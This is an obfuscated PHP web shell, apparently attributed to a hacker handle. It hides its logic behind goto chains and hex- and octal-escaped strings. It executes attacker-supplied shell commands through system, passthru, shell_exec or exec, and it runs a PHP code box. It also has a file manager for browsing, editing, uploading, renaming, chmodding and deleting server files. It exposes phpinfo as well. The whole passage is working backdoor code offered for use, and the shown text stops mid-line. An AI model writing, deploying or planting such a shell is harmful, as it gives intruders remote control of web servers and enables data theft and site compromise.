WM5p1: goto b5jfp; X9IiT: system($rcGGr); goto tgjlW; PBZ5u: print "\x64\141\146\165\161\x3f"; goto wG6nk; WW5cm: if (!($JHuVh == "\x73\171\163\164\x65\x6d")) { goto w1Q9G; } goto bhSzO; DHP2E: e6WkY: goto ZBhfM; Uhrxl: UpAvV: goto eZOqf; H6aBq: goto o1RF1; goto g42FQ; QWSzD: goto OjOLY; goto nvN2M; mrX7l: if (!($JHuVh == "\163\x68\x65\154\x6c\137\145\x78\x65\143")) { goto PUBe2; } goto H6aBq; cTapx: o1RF1: goto y7WgG; Q4aFi: goto u60bp; goto SpCJR; gNcDW: w1Q9G: goto Q4aFi; SpCJR: TdJsB: goto zJkgb; yqy6b: jsOMM: goto BlYzA; dKfXA: PyLMv: goto X9IiT; ZOC73: goto s3NMx; goto EBrCt; G1mMi: s58sc: goto F1dV5; b5jfp: MYbtK: goto bgNIE; ecwJT: ybYC_: goto gU1PC; ocQGV: goto ybYC_; goto qA0sC; QjS80: v8fpG: goto rc2ZS; DycVm: passthru($rcGGr); goto PAhQE; QLwV4: ObKek: goto FnQnk; PAhQE: goto CpxA7; goto ecwJT; Xbg05: OjOLY: goto PBZ5u; hM5ty: goto cU99m; goto nPOll; fHNF3: UAxUN: goto QWSzD; y7WgG: goto RJxFW; goto yqy6b; F1Y3i: aL1Cn: goto ZUPUY; qA0sC: HiM3s: goto LP5gQ; rHHO5: goto jsOMM; goto dKfXA; FnQnk: goto HiM3s; goto pGXKg; shi3a: goto UpAvV; goto FoKVq; LP5gQ: YOI4p: goto GSkgm; zJkgb: } goto T0NXx; xU6E4: die; goto wtdHR; NNXvd: Q2PoZ: goto dQDsJ; FjVNi: goto Q3H4Y; goto VWAXy; J73Qr: goto J5tGw; goto kCNMD; o5fwo: foreach ($PeYbu as $fthIk => $pydqp) { goto RUR7O; iCdqr: cAcA_: goto IEm7S; dZwx0: uhEfd: goto iCdqr; RUR7O: print "\74\x74\144\x3e" . $fthIk . "\74\x2f\x74\x64\x3e\74\164\x64\76\x20\x3a\x3e\x20\x3c\57\x74\x64\76\x3c\164\144\76\x20" . $pydqp . "\x3c\57\164\x64\x3e\x3c\164\162\x3e"; goto dZwx0; IEm7S: } goto PDHMb; txbbr: goto LwcPn; goto KK2ru; dDNF4: goto o4zrX; goto rX6as; PiJ_l: print "\x3c\164\141\142\154\145\40\167\151\144\x74\150\75\x22\x37\65\45\x22\x20\x61\x6c\151\147\x6e\75\42\143\x65\x6e\164\x65\162\42\x20\151\144\x3d\42\146\x74\42\x20\x3e\x3c\164\144\x20\151\x64\x3d\x22\x66\x68\x22\x3e\x3c\142\76\116\x61\155\x65\74\x2f\x62\x3e\x3c\x2f\x74\144\76\74\x74\x64\x20\151\144\75\x22\146\150\42\40\x61\154\151\x67\x6e\75\42\143\145\156\x74\145\162\x22\76\x3c\142\x3e\x50\145\162\155\151\163\163\x69\x6f\156\x73\74\57\x62\76\x3c\57\164\144\x3e\x3c\164\144\x20\x69\x64\x3d\42\146\x68\42\x20\x61\154\x69\x67\156\x3d\42\143\x65\156\164\145\x72\x22\76\74\142\76\x4f\167\x6e\145\162\x3c\x2f\x62\76\74\57\x74\x64\x3e\x3c\x74\x64\x20\x69\x64\75\42\x66\x68\x22\40\x61\154\x69\x67\x6e\75\42\x63\145\x6e\x74\x65\162\x22\x3e\x3c\x62\x3e\x4f\x70\x74\x69\157\x6e\163\74\57\x62\x3e\x3c\x2f\164\144\x3e\74\164\162\x20\x69\144\x3d\x22\146\156\42\76"; goto qqE9v; YuKLS: if (isset($_GET["\156\144\x69\x72"])) { goto TacuD; } goto HwgCg; MLVy2: function T9QuU() { goto ggJuC; zlq2K: aJwAJ: goto TXgLc; fNdw1: GBOyn: goto ZFUB2; GtM1n: goto GlayC; goto Gl7bf; JTK_Z: $rcGGr = "\x3c\146\x6f\156\164\40\143\157\154\157\x72\x3d\43\x63\x63\146\146\60\60\x3e\117\x46\x46\x3c\x2f\x66\157\156\x74\x3e"; goto f4i3E; P_Cxr: goto WLVYB; goto fNdw1; f4i3E: goto gvmY0; goto mPJVA; wRU0A: lTITT: goto HrN6a; ggJuC: goto YWU5u; goto p2Xpf; mPJVA: jnv8d: goto WUJDo; Du_XI: goto BBie9; goto exmOS; TXgLc: return $rcGGr; goto GtM1n; MPEwg: gvmY0: goto fjJ2V; XYEbX: if (!extension_loaded("\x63\165\162\x6c")) { goto GBOyn; } goto P_Cxr; p2Xpf: YWU5u: goto XYEbX; F1xn7: goto jnv8d; goto wRU0A; Gl7bf: vlF3V: goto JTK_Z; JhUAv: GlayC: goto xSblF; BeYO6: goto aJwAJ; goto JhUAv; HrN6a: d1RMk: goto BeYO6; WUJDo: $rcGGr = "\74\x66\x6f\x6e\164\40\x63\157\154\x6f\x72\x3d\x63\162\x69\x6d\163\157\x6e\x3e\117\116\74\57\146\157\156\x74\76"; goto eTUcN; pZDJ1: WLVYB: goto F1xn7; ZFUB2: goto vlF3V; goto zlq2K; eTUcN: goto lTITT; goto MPEwg; fjJ2V: goto d1RMk; goto Du_XI; exmOS: BBie9: goto pZDJ1; xSblF: } goto Z34vR; fTGs0: zEo6L: goto Kje4s; nC3Jy: if (isset($_POST["\x6e\x65\x77"])) { goto W43fg; } goto thK41; MY1SQ: goto GnvDO; goto PWLJy; dzcat: goto sMXez; goto nCXJ2; wp47a: function bk8SN($GRvwz) { goto OmLUM; rKHEq: dZBwA: goto YaJOf; Qyome: goto r_lgl; goto U1K31; L_p4i: goto nS7QO; goto YcHST; kT7AB: kUwwf: goto qLVuv; g1TsB: iR2Ys: goto AvM3P; Yc9Ge: goto Vk_17; goto OCFv7; eSpgK: goto bNXfU; goto WtPJ4; qLVuv: YCSbn: goto dREgk; FA4XY: p36mk: goto tIygQ; peTw0: aa6Hl: goto xQF6a; CUx37: imAuE: goto L_p4i; PI9fX: goto YCSbn; goto QmICS; WtPJ4: nS7QO: goto vZqtH; odi6o: return $rcGGr; goto eSpgK; fFIwO: f1uCt: goto odi6o; YcHST: Qq57z: goto hPdCS; OmLUM: goto p36mk; goto kT7AB; hPdCS: if (!is_writable($GRvwz) && !is_readable($GRvwz)) { goto dZBwA; } goto oTtj3; AvM3P: $rcGGr = "\x63\162\151\x6d\x73\x6f\x6e"; goto Yc9Ge; OCFv7: Vk_17: goto peTw0; YaJOf: goto iR2Ys; goto Lllcs; dREgk: goto Qq57z; goto Ux9Zu; QmICS: xtwhD: goto fPtQI; Ux9Zu: r_lgl: goto dT_X6; vZqtH: if (!is_writable($GRvwz) && is_readable($GRvwz)) { goto xtwhD; } goto PI9fX; otPmh: goto TKW3U; goto fFIwO; U1K31: TKW3U: goto CUx37; H8c_m: $rcGGr = '' . $vNk_u . ''; goto OEB22; dT_X6: $rcGGr = "\x23\x63\143\146\x66\60\60"; goto otPmh; xQF6a: goto f1uCt; goto FA4XY; tX7sS: goto imAuE; goto pS7GY; pS7GY: WO1lX: goto Qyome; fPtQI: goto lvVgj; goto dax16; OEB22: goto kUwwf; goto g1TsB; oTtj3: goto aa6Hl; goto rKHEq; Lllcs: bNXfU: goto ec6v9; dax16: lvVgj: goto H8c_m; tIygQ: if (is_writable($GRvwz)) { goto WO1lX; } goto tX7sS; ec6v9: } goto E607X; iEdz0: $UZ_nm = $_POST["\x64"]; goto DL9TG; nH5nM: AJ06G: goto si01O; TedIv: sgft8: goto iqLcA; I7lUx: goto Rfk3w; goto HsBuu; kWhAN: goto CKS19; goto Kj3ps; UgcYm: G0mdT: goto MLVy2; ghoUA: goto hNPUT; goto NNXvd; EXsmw: chdir($_GET["\x64"]); goto CN3CQ; ogy6a: IJt8b: goto ccFMy; t6zCy: iIgOC: goto ZKFQd; H7o3D: Ozr3x: goto pX2MU; IL35G: chdir($_GET["\x64"]); goto vpAi3; Pwg_6: VcRlM: goto qaZis; slUGm: DoiMG: goto HDuIb; syFie: CFhNK: goto H_GCl; z5siu: print "\x3c\x74\141\142\154\x65\40\167\x69\144\x74\x68\x3d\x39\x30\x25\40\x61\154\151\x67\x6e\75\42\143\x65\x6e\x74\x65\x72\42\x20\x69\x64\75\42\x6c\x74\42\143\x65\154\154\x70\x61\x64\x64\151\156\x67\75\42\x30\x22\x3e\x3c\x74\x64\x20\141\x6c\151\x67\x6e\75\x22\x63\145\x6e\x74\145\x72\42\76\x3c\x66\157\x72\x6d\40\141\x63\x74\x69\157\x6e\75\42\77\x64\x3d" . realpath("\56") . "\42\40\155\145\x74\x68\157\144\x3d\42\107\x45\x54\x22\x3e\x43\162\145\141\x74\x65\40\104\151\x72\72\x20\x3c\151\156\160\x75\164\40\164\x79\x70\145\75\42\x68\x69\144\144\x65\x6e\x22\x20\156\141\x6d\145\x3d\42\144\42\x20\166\141\x6c\x75\x65\x3d\x22" . realpath("\x2e") . "\42\40\x69\144\75\42\154\x74\42\x3e\74\151\x6e\160\x75\x74\40\x74\171\x70\145\x3d\42\164\145\170\164\x22\x20\166\141\154\165\x65\x3d\x22\x22\x20\156\x61\x6d\x65\75\x22\156\144\151\x72\x22\x20\x69\x64\x3d\42\154\164\42\x3e\x20\x3c\x69\x6e\x70\x75\x74\40\x74\x79\160\145\75\x22\163\x75\x62\x6d\x69\164\x22\40\x76\141\154\165\x65\x3d\x22\107\157\42\x20\151\144\75\42\154\164\42\x3e\x3c\x2f\146\157\x72\x6d\76\74\57\164\144\76\74\x74\x64\x20\x61\154\x69\x67\156\x3d\42\143\x65\156\164\145\x72\x22\76\74\146\x6f\162\x6d\x20\141\x63\x74\x69\x6f\x6e\x3d\x22\77\144\x3d\x22" . realpath("\x2e") . "\x22\40\155\145\164\x68\x6f\144\x3d\x22\107\x45\x54\42\x3e\103\162\x65\141\164\145\x20\106\x69\x6c\145\x3a\40\x3c\151\156\160\165\x74\x20\164\171\160\x65\75\42\150\x69\x64\144\x65\x6e\42\40\166\x61\x6c\x75\x65\75\42" . realpath("\56") . "\42\x20\x6e\141\x6d\145\x3d\x22\x64\x22\x20\151\144\75\x22\x6c\x74\42\x3e\x3c\151\156\x70\x75\x74\x20\x74\171\160\x65\x3d\42\x68\151\x64\144\145\156\x22\x20\166\141\x6c\165\x65\x3d\42\x63\x22\x20\156\141\x6d\145\75\42\170\42\x3e\74\151\156\160\x75\x74\40\164\x79\x70\x65\75\42\164\x65\170\x74\x22\40\166\141\154\x75\x65\x3d\x22\42\x20\x6e\141\x6d\145\x3d\x22\x66\x22\x20\x69\x64\x3d\x22\154\164\x22\76\x20\74\151\156\x70\x75\164\40\164\171\x70\x65\x3d\x22\163\x75\142\x6d\x69\164\42\40\x76\141\x6c\165\x65\75\42\x47\x6f\x22\x20\151\x64\75\42\154\x74\42\76\74\57\x66\157\162\x6d\x3e\x3c\x2f\164\144\76\74\164\x64\40\141\154\x69\147\x6e\75\42\x63\x65\156\x74\145\x72\42\76\74\x66\157\162\155\x20\x61\143\x74\x69\x6f\x6e\75\42\x3f\170\x3d\x63\155\144\46\x64\75" . realpath("\x2e") . "\x22\40\x6d\145\164\150\157\144\x3d\x22\x50\x4f\x53\x54\42\76\103\x6f\155\x6d\141\156\x64\72\40\x3c\x69\156\x70\165\x74\40\164\171\160\x65\75\x22\x74\145\x78\x74\x22\x20\166\141\154\165\145\75\x22\x22\x20\x6e\x61\155\x65\x3d\x22\143\x6d\x64\42\40\151\144\75\42\154\x74\42\x3e\40\74\151\156\x70\x75\164\x20\164\x79\160\145\x3d\x22\x73\165\x62\x6d\151\x74\x22\x20\166\x61\x6c\165\145\x3d\x22\x47\157\x22\x20\151\144\75\x22\154\x74\42\x3e\74\57\x66\157\162\155\x3e\x3c\57\164\x64\76\74\164\x64\x20\141\154\x69\x67\x6e\x3d\42\x63\145\156\x74\x65\162\x22\x3e\74\146\x6f\x72\155\40\141\x63\164\151\x6f\156\75\42\x3f\x64\75" . realpath("\56") . "\x22\x20\155\x65\x74\150\x6f\x64\75\x22\120\117\x53\124\x22\40\x65\156\143\x74\x79\160\145\x3d\x22\155\x75\x6c\164\x69\160\141\x72\x74\57\146\x6f\162\x6d\55\x64\x61\164\141\42\76\x55\x70\x6c\x6f\x61\144\72\x20\x3c\x69\x6e\160\165\164\x20\164\x79\x70\145\75\42\x68\x69\144\144\145\x6e\x22\40\166\141\x6c\x75\145\x3d\42\x31\x30\60\60\x30\x30\x30\60\x30\42\x20\x6e\x61\155\145\x3d\x22\x4d\101\x58\137\x46\x49\x4c\x45\137\x53\111\132\x45\x22\76\x3c\151\156\160\165\x74\40\x74\171\160\x65\x3d\42\146\x69\x6c\145\42\x20\156\141\x6d\x65\x3d\x22\165\160\x66\x69\154\x65\42\40\151\x64\x3d\x22\154\x74\142\42\76\40\x3c\151\156\x70\x75\164\40\164\171\x70\x65\x3d\42\163\x75\142\x6d\x69\164\x22\40\166\x61\154\x75\145\75\42\x47\157\42\40\x69\144\75\x22\154\164\42\76\x3c\x2f\x66\x6f\162\155\x3e\74\57\x74\144\x3e\74\57\x74\141\x62\154\145\x3e"; goto OVkDU; iGQg6: function tp8ru() { goto rUY9W; rTafx: Bs25Y: goto hpj9p; D3n42: goto Kx8a2; goto eHSWp; bgLJ3: Dm_CJ: goto oWfjc; pzyVP: goto MxEjF; goto gTz1C; O1ehE: goto I48an; goto WYBvI; oWfjc: goto H1USA; goto MN2oG; hpj9p: return $JHuVh; goto HyQs9; VBZ5M: VMAH5: goto HHNJW; rUY9W: goto wCCc_; goto pIL2c; eHSWp: MxEjF: goto pEPo_; HLCnk: goto Bs25Y; goto KCBHd; pIL2c: eJkOZ: goto u7lhG; D8WMH: $JHuVh = "\x70\x61\163\x73\164\x68\162\165"; goto u1WFn; WYBvI: cehRj: goto GQ0jC; M3BOF: goto utl49; goto VBZ5M; QKccf: jKKey: goto RJ70x; rXR7z: goto fCSiL; goto pqeSg; wo9qu: if (!function_exists("\x73\x79\163\x74\145\155")) { goto hDpuE; } goto D3n42; TEU3J: $JHuVh = "\x73\x68\145\154\154\x5f\145\170\145\x63"; goto oW3PD; Anw13: $JHuVh = "\x65\x78\145\x63"; goto rDg8B; GQ0jC: goto eJkOZ; goto QKccf; opWfM: hDpuE: goto pzyVP; GQqbX: if (!function_exists("\x70\141\x73\x73\x74\x68\x72\x75")) { goto uHMim; } goto M3BOF; QcwbD: wCCc_: goto GQqbX; WE9T0: if (!function_exists("\145\170\x65\x63")) { goto Jm06v; } goto h9FFc; oVy9_: goto kjueg; goto UJXMx; YhseN: I48an: goto HLCnk; DxkMC: goto OA8w1; goto kVpE8; pqeSg: kjueg: goto TEU3J; u9j21: $JHuVh = "\x73\171\163\164\145\155"; goto DxkMC; Ti_YI: goto qxwD0; goto LWh6v; kVpE8: utl49: goto D8WMH; gz2Ac: goto uHTgV; goto rSdo8; Dm4Wh: Jm06v: goto Ti_YI; u7lhG: $JHuVh = "\104\151\x73\x61\142\154\145\x64"; goto gz2Ac; h9FFc: goto BHUyy; goto QcwbD; wBHAk: if (!function_exists("\x73\150\145\x6c\x6c\137\145\170\x65\143")) { goto Dm_CJ; } goto oVy9_; rDg8B: goto ZpLfD; goto PRHQo; UJXMx: a6kGQ: goto bgLJ3; HHNJW: uHMim: goto rXR7z; PRHQo: fCSiL: goto WE9T0; oW3PD: goto a6kGQ; goto rTafx; eKmex: qxwD0: goto wBHAk; rSdo8: uHTgV: goto YhseN; LWh6v: BHUyy: goto Anw13; u1WFn: goto VMAH5; goto eKmex; gTz1C: ZpLfD: goto Dm4Wh; KCBHd: Kx8a2: goto u9j21; MN2oG: OA8w1: goto opWfM; HyQs9: goto jKKey; goto mzcij; pEPo_: if (!isset($JHuVh)) { goto cehRj; } goto O1ehE; mzcij: H1USA: goto wo9qu; RJ70x: } goto nJkC0; KwX0F: PBqiL: goto rQ7Yr; L8SX0: goto R0Gpe; goto w6NGJ; AzJ3g: I876H: goto RXwdi; PrvAQ: iQyxe: goto Hd3UI; Jl9PC: ECLS8: goto I58hw; z3h15: goto mRg1e; goto nH5nM; H21XI: uEV3m: goto fAm53; CdgGR: goto bw_QO; goto nysxI; aMVaU: r102s: goto W3kUx; ci7re: pW5kM: goto SOPln; L_Zp0: asort($XbJUM); goto kqphb; nCXJ2: ApIjh: goto JInrz; uYsf0: J5tGw: goto FiBMm; wtdHR: goto zABw7; goto PXbSn; fDl1x: $LJwjl = basename(__FILE__); goto z3h15; cvtcs: goto PNWpw; goto JZTtV; D2vCj: hNPUT: goto B4pkn; qt4vx: rPXfb: goto o5fwo; zpnGw: goto gaYmQ; goto Oi_TP; lTCEy: move_uploaded_file($_FILES["\165\160\146\151\x6c\x65"]["\164\x6d\x70\x5f\x6e\x61\x6d\145"], $UZ_nm); goto TiI2Z; T0NXx: goto kLWt9; goto tWa8Q; L6FMJ: rename($UZ_nm . DIRECTORY_SEPARATOR . $BaGOU, $UZ_nm . DIRECTORY_SEPARATOR . $fthIk); goto w7zaV; w3ED2: yUJ9Y: goto zvqvc; hz26z: goto P7L3b; goto Sd_NI; W0hPE: goto ooXVX; goto KXR6D; QGskn: goto zFmzM; goto znwt1; zvqvc: print "\x3c\x2f\x74\141\x62\x6c\x65\x3e\x3c\x2f\142\x72\x3e\74\57\x62\x72\76\74\57\x62\x72\76"; goto UajQf; P8St2: AloVY: goto kYGGv; lQ7ZJ: goto PBqiL; goto oPCwN; BV1yV: zABw7: goto FaCHk; a5V3l: goto kRTwn; goto zN4co; iMDgl: mRg1e: goto jQCjc; kAb6Z: OawsT: goto jpD2v; KK2ru: DRItI: goto t6zCy; zP57v: goto hlogV; goto CR4S0; slpI_: goto ZTOnm; goto imQtN; AWiYM: goto LLXDO; goto Lg6z6; C0cXR: wmhtW: goto T8Y_x; qDHHT: $XbJUM[] .= $dQLVa; goto V6dyM; Hiy9g: H8tKm: goto Y60Il; apCTQ: kLWt9: goto Qqkwa; jXhVG: goto MxqF6; goto DP5I0; WID8N: sMXez: goto jdkxo; FInwH: goto rZB4a; goto rIicM; JBBdu: switch ($_REQUEST["\170"]) { case "\143": goto dzQwe; dzQwe: goto ekwKR; goto YuAdR; O5J25: ekwKR: goto itBD9; OetCo: $rcGGr = file($_GET["\146"]); goto gk8Ns; YuAdR: UqrB4: goto wJVoQ; EveYE: fclose($wMFTX); goto DUjsQ; D4L32: goto UCkn1; goto OOVwg; XZret: fwrite($wMFTX, $_POST["\145\144\151\x74\137\146\157\x72\155"]) or print "\x3c\x70\40\151\x64\x3d\42\x6e\x6e\x22\76\x43\x6f\x75\154\144\156\x27\164\x20\123\x61\166\x65\x20\x46\151\154\145\x3c\x2f\x70\x3e"; goto eOZJf; DUjsQ: goto m3wWz; goto Gkcff; aF9nb: zbux8: goto hQL5U; xQHi1: foreach ($rcGGr as $k4WHX) { goto Smz5g; wtvYt: i2UDm: goto PSW8k; PSW8k: cqflk: goto BhgUQ; Smz5g: print htmlspecialchars($k4WHX); goto wtvYt; BhgUQ: } goto N0m9S; hwjH6: print "\74\57\164\x65\x78\x74\141\162\145\141\76\x3c\57\142\162\76\74\57\x62\162\76\74\x69\156\x70\x75\164\40\x74\171\x70\145\75\42\x73\165\x62\155\151\x74\x22\x20\166\141\154\x75\x65\75\42\123\141\x76\145\42\x20\151\x64\75\42\163\x76\42\x3e\x3c\57\x66\157\x72\x6d\76\x3c\57\x63\145\156\x74\145\x72\x3e"; goto aGmyT; L3gfl: goto et_9K; goto OdQnx; N0m9S: Jd7gE: goto Jzv01; XAVBd: goto GRfzJ; goto i_wUD; R9HDk: goto bTaNK; goto O5J25; gk8Ns: goto cXCsW; goto PdVo6; OdQnx: cXCsW: goto xQHi1; AOqhM: goto vgr2T; goto ZzzxP; OnUmu: hu6Zf: goto XZret; GtkXY: goto uvW6s; goto cic9a; cic9a: Vf3iU: goto EveYE; tZvju: h8m4D: goto PrieQ; gWx0z: Achkr: goto D4L32; OOVwg: goto zbux8; goto ECTzZ; JLcPQ: uwQMC: goto R9HDk; wzSn3: $wMFTX = fopen($GRvwz, "\x77") or print "\74\160\x20\151\144\x3d\x22\156\156\x22\76\105\162\x72\x6f\x72\x20\x4f\x70\145\x6e\151\156\147\40\106\x69\154\x65\x3c\x2f\x70\76"; goto mGNNZ; i_wUD: gMMNB: goto mN5WS; fTnCL: vgr2T: goto XgmOh; ECTzZ: et_9K: goto JLcPQ; ihfiC: m3wWz: goto tZvju; itBD9: if (isset($_POST["\x65\x64\151\x74\137\x66\157\162\x6d"])) { goto dT8dP; } goto ID4bi; eOZJf: goto Vf3iU; goto TfZ2B; TfZ2B: uvW6s: goto XBbfl; bJI8J: goto qn0wE; goto ihfiC; ZvR0w: goto uwQMC; goto x91O_; x91O_: RiQ84: goto bJI8J; aGmyT: goto Achkr; goto gWx0z; XBbfl: $GRvwz = $_GET["\x66"]; goto XAVBd; ID4bi: goto h8m4D; goto A1fwC; Jzv01: goto gMMNB; goto fTnCL; A1fwC: dT8dP: goto GtkXY; ZzzxP: bTaNK: goto hwjH6; mN5WS: Z1cdA: goto L3gfl; mGNNZ: goto hu6Zf; goto OnUmu; PrieQ: goto UqrB4; goto aF9nb; XgmOh: if (file_exists($_GET["\146"])) { goto RiQ84; } goto ZvR0w; Gkcff: qn0wE: goto OetCo; wJVoQ: print "\74\143\x65\x6e\164\145\162\x3e\x3c\160\76\x45\x64\x69\x74\x69\x6e\x67\40" . $_GET["\x66"] . "\40\x28" . gJ6KX($_GET["\144"] . $_GET["\x66"]) . "\x29\x20\x2e\74\x2f\x70\76\74\57\142\x72\x3e\x3c\x2f\142\162\x3e\x3c\x66\157\x72\x6d\40\x61\x63\x74\x69\x6f\x6e\75\42\77\x78\75\143\x26\x64\75" . realpath("\x2e") . "\46\x66\75" . $_GET["\146"] . "\42\40\x6d\145\164\150\x6f\144\75\42\120\x4f\123\124\x22\76\x3c\x74\145\x78\x74\x61\162\x65\x61\x20\x63\x6f\x6c\163\x3d\71\60\40\x72\x6f\x77\163\x3d\x31\65\40\x6e\141\x6d\145\75\42\x65\144\x69\164\137\x66\x6f\162\155\42\40\151\x64\75\x22\145\x64\x69\164\x22\76"; goto AOqhM; PdVo6: GRfzJ: goto wzSn3; hQL5U: case "\x63\x6d\144": goto oi0_M; bqYPe: goto ThLis; goto PC2cU; FCMUC: goto bd9gH; goto Bu1KF; dWAcA: goto CrSrL; goto zO5Lb; RxXNU: bd9gH: goto BuPsY; Tx9Th: mEpVy: goto vzeWV; JdeZR: goto UCkn1; goto E2gIv; oi0_M: goto mEpVy; goto g8Hm2; zO5Lb: CrSrL: goto Hs7s2; PC2cU: tgCBb: goto YluYy; BuPsY: $vIVkB = $_POST["\143\155\144"]; goto Fdmyu; GJMh6: goto xvL1C; goto pzh_e; vzeWV: print "\74\x2f\142\x72\x3e\74\57\x62\162\x3e\74\x63\x65\x6e\164\145\162\x3e\x3c\x68\x33\x3e\x45\x78\145\x63\x75\x74\x65\40\103\x6f\155\155\141\156\144\x3c\x2f\150\x33\x3e\x3c\x66\157\162\x6d\40\141\143\x74\151\x6f\156\75\x22\x3f\170\x3d\143\x6d\144\46\144\75" . realpath("\56") . "\x22\40\x6d\x65\x74\x68\157\144\x3d\42\x50\x4f\123\x54\x22\76\74\x69\156\160\x75\x74\x20\x74\171\160\x65\x3d\x22\x74\145\170\x74\42\40\x76\141\154\165\145\75\x22\x22\x20\x6e\x61\x6d\145\x3d\x22\143\x6d\144\x22\40\151\144\75\42\x6c\x74\x22\76\40\x20\74\x69\x6e\160\165\164\x20\x74\171\160\145\75\42\x73\165\142\155\151\x74\x22\x20\166\141\x6c\x75\145\75\42\107\x6f\42\x20\151\x64\75\x22\x6c\164\x22\x3e\x3c\x2f\x66\x6f\x72\x6d\x3e\74\x2f\x62\x72\76\74\164\x65\170\164\141\162\x65\141\x20\x63\x6f\x6c\163\x3d\x39\x30\40\162\157\167\163\x3d\61\65\x20\151\144\75\42\x65\144\151\164\x22\76"; goto bqYPe; pjJTl: goto LcHtP; goto RxXNU; g07qW: if (isset($_POST["\x63\155\144"])) { goto tKFia; } goto GJMh6; XLPmk: xzTKb(tP8RU(), $vIVkB); goto dWAcA; E2gIv: goto tgCBb; goto KxMbM; g8Hm2: hRBL1: goto XLPmk; KxMbM: ThLis: goto g07qW; pzh_e: tKFia: goto FCMUC; SyAnj: LcHtP: goto JdeZR; Hs7s2: xvL1C: goto TEF_6; Bu1KF: N_MoW: goto tlnlT; Fdmyu: goto hRBL1; goto Tx9Th; tlnlT: print "\x3c\x2f\x74\145\170\x74\x61\x72\145\141\76\74\x2f\x63\x65\x6e\164\x65\162\x3e"; goto pjJTl; TEF_6: goto N_MoW; goto SyAnj; YluYy: case "\x70\150\x70": goto rqx3M; AQa4N: print "\74\x2f\x62\162\76\x3c\57\142\162\x3e\x3c\x63\x65\x6e\164\145\162\x3e\74\150\63\x3e\x50\110\x50\x20\x43\x6f\144\145\x3c\x2f\x68\x33\x3e\74\x66\x6f\162\155\40\x61\143\164\x69\157\x6e\x3d\77\x78\75\160\150\x70\46\144\75\x22" . realpath("\x2e") . "\42\40\x6d\x65\164\x68\157\x64\x3d\42\x50\117\x53\x54\42\x3e\74\x69\x6e\x70\165\164\40\164\x79\x70\x65\x3d\42\x74\x65\170\x74\x22\x20\x76\x61\x6c\x75\x65\75\42\x22\40\156\141\x6d\x65\75\42\x70\143\x6f\x64\145\x22\x20\151\144\75\42\x6c\164\42\x3e\x20\74\x69\x6e\x70\x75\x74\40\164\171\160\x65\75\42\x73\x75\142\155\x69\x74\42\x20\x76\x61\x6c\x75\x65\75\x22\x47\157\x22\40\151\x64\75\x22\x6c\164\42\76\74\x2f\146\x6f\x72\x6d\76\x3c\57\x62\x72\x3e\x3c\x74\x65\x78\164\141\x72\x65\x61\40\143\157\154\x73\x3d\x39\60\x20\162\157\167\163\75\x31\65\x20\x69\x64\x3d\x22\145\144\151\164\42\x3e"; goto UwZdk; fP33R: NuJia: goto AQa4N; X2Lvg: TPYiZ: goto bHqV3; eI9Nd: goto UCkn1; goto cIT7Y; T_aBu: wuogh: goto GbYio; cIT7Y: goto TPYiZ; goto fP33R; LWTar: goto MeIk_; goto X2Lvg; GbYio: print "\74\57\164\x65\170\x74\141\x72\145\141\x3e\74\x2f\x63\145\x6e\x74\145\162\76"; goto LWTar; UwZdk: goto wuogh; goto T_aBu; yrm27: MeIk_: goto eI9Nd; rqx3M: goto NuJia; goto yrm27; bHqV3: case "\x70\150\160\151\156\146": phpinfo(); goto UCkn1; case "\161": goto kx2sf; OheI_: mR7NR: goto KbUr2; xfjET: setcookie($xgskw, '', time() - 3600); goto w5eKY; SzWBV: goto HwLud; goto u2yop; u2yop: HwLud: goto JmRDq; zE58Q: jYVfi(); goto iWhFJ; kx2sf: goto cjm24; goto HpKLY; iWhFJ: goto mR7NR; goto uW12l; uW12l: cjm24: goto xfjET; w5eKY: goto aGpc4; goto OheI_; HpKLY: aGpc4: goto zE58Q; KbUr2: goto UCkn1; goto SzWBV; JmRDq: case "\x78": print "\74\x2f\142\x72\x3e\x3c\57\142\162\x3e\74\x2f\x62\162\76\74\143\x65\x6e\164\145\x72\x3e\x3c\x68\x31\x20\151\144\x3d\x22\x6e\155\x22\76\74\57\x68\61\76\74\150\x33\x3e\x4d\141\x69\154\72\40\74\x61\x20\x68\162\145\146\75\42\x6d\x61\151\154\x74\x6f\x3a\x3e\103\117\115\42\x3e\x3c\57\141\x3e\74\x2f\150\63\x3e\x3c\150\63\x3e\x54\167\151\164\164\145\162\72\40\74\x61\x20\x68\162\x65\x66\x3d\x22\150\x74\164\160\x3a\57\57\x77\167\x77\x2e\164\167\151\x74\164\x65\x72\56\x63\x6f\x6d\57\x58\x30\115\x42\61\x33\137\x22\x20\164\x61\162\147\145\x74\75\42\137\142\154\141\x6e\153\x22\76\x3c\57\141\76\x3c\57\x68\63\76\74\150\x33\x3e\106\141\143\145\142\x6f\x6f\153\72\40\74\141\40\150\162\145\x66\75\42\x68\x74\164\160\x3a\57\x2f\x77\x77\167\56\x66\142\x2e\143\157\x6d\57\170\x6f\x6d\142\x69\145\56\x78\x6f\155\x62\x69\145\56\x37\42\x20\x74\141\x72\147\x65\x74\75\42\137\x62\x6c\141\x6e\x6b\42\76\x58\x30\x4d\x42\x31\63\x3c\57\141\76\74\57\150\x33\76\x3c\x2f\143\x65\x6e\164\145\162\76"; goto UCkn1; } goto OuAKt; Xsj4a: rmdir($UZ_nm); goto W0hPE; T8Y_x: chmod($UZ_nm, $FnNXv); goto ajHMN; FaCHk: QvJIO: goto MsKSu; dW3th: mkdir($UZ_nm . DIRECTORY_SEPARATOR . $fthIk); goto Y85H4; hPgPj: W43fg: goto QGskn; Oi_TP: AIouc: goto vSKDb; b5c4J: ZTOnm: goto dvfXf; DvG_A: goto KQPbJ; goto P8St2; BSoA_: Jyqvx: goto cvtcs; lAIpf: yTrVL: goto qDHHT; kYGGv: $UZ_nm = realpath("\56") . DIRECTORY_SEPARATOR . basename($_FILES["\165\x70\x66\151\x6c\x65"]["\x6e\x61\x6d\145"]); goto YNyFd; czqTY: HerAg: goto MY1SQ; WX_TH: hP3jP: goto Njh9s; B92pw: foreach ($XbJUM as $dQLVa) { goto dvpyK; Yy5rD: goto Z1DRY; goto Betnf; WldPX: Sm5Pt: goto lfHll; KFvTq: goto p9I1g; goto cfEm6; MYbeL: hpmSW: goto CeA34; CeA34: HByXB: goto n8MbK; iCDue: print "\74\164\144\x20\151\x64\75\x22\146\143\x22\76\74\163\160\141\156\x20\x69\144\x3d\42\x6e" . $dQLVa . "\x22\76\x3c\x61\x20\x68\162\x65\146\x3d\42\x3f\x78\75\143\x26\x64\x3d" . realpath("\x2e") . "\46\x66\75" . $dQLVa . "\42\76" . $dQLVa . 